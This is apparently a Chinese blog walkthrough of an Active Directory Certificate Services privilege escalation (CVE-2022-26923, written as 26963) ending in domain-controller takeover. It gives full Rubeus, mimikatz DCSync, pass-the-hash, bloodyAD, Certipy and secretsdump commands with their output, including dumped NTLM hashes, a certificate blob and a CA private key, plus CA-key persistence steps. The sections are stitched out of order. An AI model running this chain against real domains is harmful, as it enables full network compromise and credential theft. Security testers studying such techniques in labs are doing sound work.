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

image-20220507221831096

在父域用户机器上

然后使用Rubeus.exe进行,证书请求STEVEN$的票据,并注入票据

  1. C:\Users\Administrator\Desktop\shell-master>Rubeus.exe asktgt /user:STEVEN$ /certificate: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 /domain:sun.com /dc:steven.sun.com /ptt
  2. ______ _
  3. (_____ \ | |
  4. _____) )_ _| |__ _____ _ _ ___
  5. | __ /| | | | _ \| ___ | | | |/___)
  6. | | \ \| |_| | |_) ) ____| |_| |___ |
  7. |_| |_|____/|____/|_____)____/(___/
  8. v2.0.2
  9. [*] Action: Ask TGT
  10. [*] Using PKINIT with etype rc4_hmac and subject: CN=steven.sun.com
  11. [*] Building AS-REQ (w/ PKINIT preauth) for: 'sun.com\STEVEN$'
  12. [*] Using domain controller: 192.168.40.102:88
  13. [+] TGT request successful!
  14. [*] base64(ticket.kirbi):
  15. doIFajCCBWagAwIBBaEDAgEWooIEjzCCBIthggSHMIIEg6ADAgEFoQkbB1NVTi5DT02iHDAaoAMCAQKh
  16. EzARGwZrcmJ0Z3QbB3N1bi5jb22jggRRMIIETaADAgESoQMCAQKiggQ/BIIEO3iEMxzTDrqrauIp85/v
  17. xBtv7VFy34egqfwDCJ/OHMh9RnLoRdU+0SLNy9ukayiAW7enq8mOUmIecNlwoWt7edR32K7wh3lEOEPZ
  18. xyl/xdHhLW3cSBIJeMFsbYtBnCvaXccU9TtUvWx7Ohq4OcHb3rjrV5A+UuD8hDbpkdfqiuORgVUhBOxL
  19. rFrI9MROXAgl0/DnW4jPcBYQ13do1JKa4mrcdiyGoFv1ccyPQ6c8Rrp9Rj3suzyyp9pbboDTAsrFNw5n
  20. xGeE0FKfsNFtLg2hvTG+kr3MWSP3JIENNku3LQ2b/a0Tjho1HIOq0OIWMG3zcpCrr1RHkpI6R9Vb19t1
  21. fSxXs5+ZkLSGPx2osfOaXu0A6Yf88sA1QnBduyu35vDVrRbiP0yl6Rq8JO9975NESUfa1yxtnUQFuPBB
  22. OpWvx5RKHBTCImzDJ5qN9rQ58mJfQmSRLZL6nsS8/AKCDUKXpOjvCPZS+MesPUm/WIG2x5LTdhi/w96R
  23. 6WGEoWt2HEY1JsTjpA85hjjmSCm8YEG4l4SPYtJNbYeI/P0EJ1BUrlGrkL9Z140YCMKALWQA5vRiCeus
  24. C+tYSOuu/ovBohbkKml2O/MIMIr/qNcVgorJL3u84gC/jgmAGpIXzHEUVhdX+3hb1TJ7bErvHAR8fh2A
  25. UE35rnGrpATZI3cjtGFE2+ca2xrn5S7qxRTxeuYVrZbBcFCJzkfkYwhQHSyciYvfPJfEF1bGDVQbZNwn
  26. 2x4fp4OQanr2A1y/K3PWMriGbTrKcRM1WXeNwnssSYw63+htzQ9dLB1IeKmbBnWwAyVqLYONKaVrN3z0
  27. vor936DWNLR2z5AiulopQADxuFIlifEwbkBz4nS87NP6xdo8BecnIdfdbCSwu/fV7ibTDxLC2/xIVtxf
  28. gjg2oL3m9VSSJ8KxzXXJDQnrqUbh56pK4h4lzjPn02v9cQArbGze/xLjqg03kZ2yRPIrLjb+vnwjRVdb
  29. 6HFU5rl+t5hK0ru5EcLrIUjNyJUpuoF4ld3mnhLDlvJOXIWmKA/RsnHFJ4MQIFQrGqNqOg5NUnJtqHqE
  30. wMsp5CrCOiClW1jcdS4GqnqfU0VgpkFohR1gNCRzC8SJ3trGSBmWIG07OcXQMsTnmy1Fj1umoLG35JPi
  31. 5Hh53Va0c2dtRcOqZhyuNlaVq3vvAe3H4GxyfmvVMtWVgneFfeimhOiMZiBtuWGDqdI/8h//EJuRYoOj
  32. iY65Fr6YRQZGcBNZTUVi53Mj65CaPbGYDKq3xuZRVnLmwSLnmcDbPL0GKKesYQQON5TuERTVmzuMxaIO
  33. lv1KQhtCHzgm9jXPaaW3i9XxbJD878guyS1ftGTfOtNVebajniDn1wny6VNlgFSmq7RBUkJvV6Wj9bDx
  34. 6u2f4siUTEhbdOfOhLZCwyB6b/VWTSgDjlMlUb21LB/IqssOm1H5VxxsGUZ7AM2QKaOBxjCBw6ADAgEA
  35. ooG7BIG4fYG1MIGyoIGvMIGsMIGpoBswGaADAgEXoRIEEAEuImx9M93oFW7TrHBoVu6hCRsHU1VOLkNP
  36. TaIUMBKgAwIBAaELMAkbB1NURVZFTiSjBwMFAEDhAAClERgPMjAyMjA1MDcxNTAyNDNaphEYDzIwMjIw
  37. NTA4MDEwMjQzWqcRGA8yMDIyMDUxNDE1MDI0M1qoCRsHU1VOLkNPTakcMBqgAwIBAqETMBEbBmtyYnRn
  38. dBsHc3VuLmNvbQ==
  39. [+] Ticket successfully imported!
  40. ServiceName : krbtgt/sun.com
  41. ServiceRealm : SUN.COM
  42. UserName : STEVEN$
  43. UserRealm : SUN.COM
  44. StartTime : 2022/5/7 23:02:43
  45. EndTime : 2022/5/8 9:02:43
  46. RenewTill : 2022/5/14 23:02:43
  47. Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
  48. KeyType : rc4_hmac
  49. Base64(key) : AS4ibH0z3egVbtOscGhW7g==
  50. ASREP (key) : C2BA598A364D6C2AAC7E9E6D19120DEE

image-20220507231629613

image-20220507231706170

查看票据

  1. klist

(票据清除)

  1. klist purge

image-20220507225615659

使用mimikatz进行dcsync

  1. C:\Users\Administrator\Desktop\shell-master>mimikatz.exe
  2. .#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
  3. .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
  4. ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  5. ## \ / ## > https://blog.gentilkiwi.com/mimikatz
  6. '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
  7. '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
  8. mimikatz # privilege::debug
  9. Privilege '20' OK
  10. mimikatz # lsadump::dcsync /domain:sun.com /all /csv
  11. [DC] 'sun.com' will be the domain
  12. [DC] 'matrix.sun.com' will be the DC server
  13. [DC] Exporting domain 'sun.com'
  14. 1103 WIN10-2020BGULZ$ 97da10cc3555815eae47095203b597ca 4096
  15. 500 Administrator 1f2d1e484ee4dbd339748670b2b4010a 512
  16. 502 krbtgt ec541bca8c17159ee215929d75d1ae3f 514
  17. 1000 MATRIX$ 297cbcbc1bf53284b31c0b8ca3a30524 532480
  18. 1104 STEVEN$ c59513824e4af2f0e1c7e79130d44c14 532480
  19. mimikatz #

image-20220507230341408

进行pth攻击,获取父域控权限

  1. sekurlsa::pth /user:Administrator /ntlm:1f2d1e484ee4dbd339748670b2b4010a /domain:sun.com /run:cmd

image-20220507231422100

0x00 前言

Active Directory 域权限提升漏洞(CVE-2022-26963 )允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员

0x01 影响范围

受影响的 Windows 版本:

Windows 8.1

Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2

Windows 11

Windows Server 2008,2012,2016,2019,2022

0x02 实操

域控:192.168.40.101

域用户:user1/Wsx123.

域内定位CA机器

在域内机器上执行

  1. certutil -config - -ping

image-20220513060605778

创建机器账户到域

https://github.com/CravateRouge/bloodyAD

使用bloodyAD工具来创建机器账户

查看ms-DS-MachineAccountQuota属性

如果ms-DS-MachineAccountQuota>0就可以创建机器帐户,刚创建时默认是10

  1. python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 getObjectAttributes 'DC=sun,DC=com' ms-DS-MachineAccountQuota

image-20220513072514004

在LDAP中创建一个 Computer 对象

  1. python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 addComputer user5 'Wsx123.'

image-20220513072707603

更新机器帐户的DNS Host Name

将机器帐户的DNS Host Name改为域控的MATRIX.sun.com

  1. python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 setAttribute 'CN=user5,CN=Computers,DC=sun,DC=com' dNSHostName '["MATRIX.sun.com"]'

image-20220513072928301

查看属性,是否成功更改为域控的DNS Host Name

  1. python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 getObjectAttributes 'CN=user5,CN=Computers,DC=sun,DC=com' dNSHostName

image-20220513073022117

伪造恶意证书

https://github.com/ly4k/Certipy

使用Certipy生成机器证书,可以看到DNS Host Name已经变成了dc.sun.com:

  1. certipy req 'sun.com/user5$:Wsx123.@192.168.40.101' -template Machine -dc-ip 192.168.40.101 -ca sun-MATRIX-CA

image-20220513073423148

申请TGT

使用带有上面请求的证书的获取 TGT

  1. # certipy auth -pfx ./matrix.pfx -dc-ip 192.168.40.101
  2. Certipy v3.0.0 - by Oliver Lyak (ly4k)
  3. [*] Using principal: matrix$@sun.com
  4. [*] Trying to get TGT...
  5. [*] Got TGT
  6. [*] Saved credential cache to 'matrix.ccache'
  7. [*] Trying to retrieve NT hash for 'matrix$'
  8. [*] Got NT hash for 'matrix$@sun.com': 297cbcbc1bf53284b31c0b8ca3a30524

image-20220513073518511

DCSync

对导出的 TGT 执行 DCSync,来dump哈希

  1. impacket-secretsdump 'sun.com/matrix$@matrix.sun.com' -hashes :297cbcbc1bf53284b31c0b8ca3a30524

image-20220513073856813

0x03 权限维持

导出私钥

界面操作

在ADCS中,打开证书颁发机构

  1. certsrv.msc

图片.png

所有任务—>备份CA

图片.png

进行导出,导出格式选择*.PFX*.p12都可以

图片.png

图片.png

这里输入的密码需要牢记,后面伪造证书时需要

图片.png

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命令行操作

使用SharpDPAPI,参考:https://github.com/GhostPack/SharpDPAPI

  1. SharpDPAPI.exe certificates /machine

图片.png

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  1. -----BEGIN RSA PRIVATE KEY-----
  2. MIIEogIBAAKCAQEArGw/w8kFHUHfh9dDnP0JA0rNXzfH4QPSjNt8KZ6H/HB6DfLh
  3. YFmCQ5ICmZChF1cX/jUTgoMUQKKwpL5PVPmKEpU5pVMWKpJ0QfSUo1bpKm8Ddm82
  4. V95L8dulXQoTvk7ULRNrV5Gb9ZfTNDIqlvTxfDCLveoEsl47KngewQmJWOmCJVAK
  5. aG2IYOMn5aCaCbMGq5a2Zasn+y8cgJnUu2XFesEGD9PYJXcatXNirHyugtoWzeON
  6. G8zSazA7LUxc7c5p7TA+dKl0sRMAoQUbaCCeUqlu+s1ad8FzbOOQuNbVGXWVQCww
  7. QigYzht7thIEBTAwW+NxQfMCxKNfemey2nq2YQIDAQABAoIBABBiUubUTbebgFWk
  8. p2ieBMK602wWXVhs6A95dcFwroRW3cpAh5kDuGSaVcPo4d3ZaU6/FWUD9qMzsmxd
  9. JyWwdqXQZ0Nl80fFVeXEi3E/+3UMSnxxEe1kkrvfPsXqBLlDPVcxLrSKAhNiw2+E
  10. ytZAXUgLRuQbfinC2YVuF6IJOXNoyNFegSkIJLKmma80kvMqcbL6u/GLsxAfG/ch
  11. OsAhBhV1mD5q5Lzb9aO3hpQsJzQ/oR6qYAWTpQv/zkHNZEV5o3a09gafWwsHv7Tr
  12. VSO7G9rnSIluDPoLf5RIaFoxOkxJUkQUPSTryGa8gDuc3oxXjuhqFkVNOkOpsppL
  13. gIEcUU8CgYEA6MAZZFhGcHNMaNAwqnwqXRpl+ulHJsjcsd97sL51GdebEVgubU9B
  14. P02ztn0fO7oizHo5RpDwgEgS89LU8BGHICMm1MqhHcJY09JmtCYe+NaV2dOI8OzW
  15. uH7g9QMedH8A+K8MVFFUVo6Z1o5b7pks6yUDlVjNuTRX6OiinCoYz/cCgYEAvaVz
  16. tqDMmvffyBLmAxcA2N1yy8tVKQRbK0BnNwbggZrmFhi3j2RVSL7JwKDLAZjkyCAt
  17. dsjdfMKeksg3/hm30ulILNIoqgl5/uczIS/JDshDs7VaeHX+dPkRm2sAz15EvTs1
  18. Y/sl9iVoKNHAEPk8IgwvG4zrgeLXV70dK7YKxmcCgYBmL3i2cn8yfZxtZAIJx4u9
  19. 5oohd+uyHnuuaETg2y2EVAGTwthXS3WE+nNNSm+9BEKk7YBZ9+ZvG7WecNDmOXvO
  20. 4z/4KqJD84CWNwi6TQZKD8Qop1O3GvRGegX/7Aeh8+SUSh4qoq5ZdjAaX9QC1CNB
  21. dbW2Cw//IPj7m69QyrasDwKBgHSgPhPuuUUH8K/Kp3b4+4ViUglwBvQNgL+NgKv/
  22. Z6tshdjK5H+jNStiYRI8D/vweal02GC3UDY8PWaJCJ4UVM64tbESoP1IjKSsq+3Z
  23. xCx6DeCDQ5rW/WAUF7bbTAk6sM0qjz/oIEVKZc7MhvApRciuc33e4KnkxYdofnr2
  24. HZQ7AoGAPuuNNYtpEp09YH0H0fEvphvcd/nNXzXmtsm5uEcPUIvEk/5c9PRkrG8p
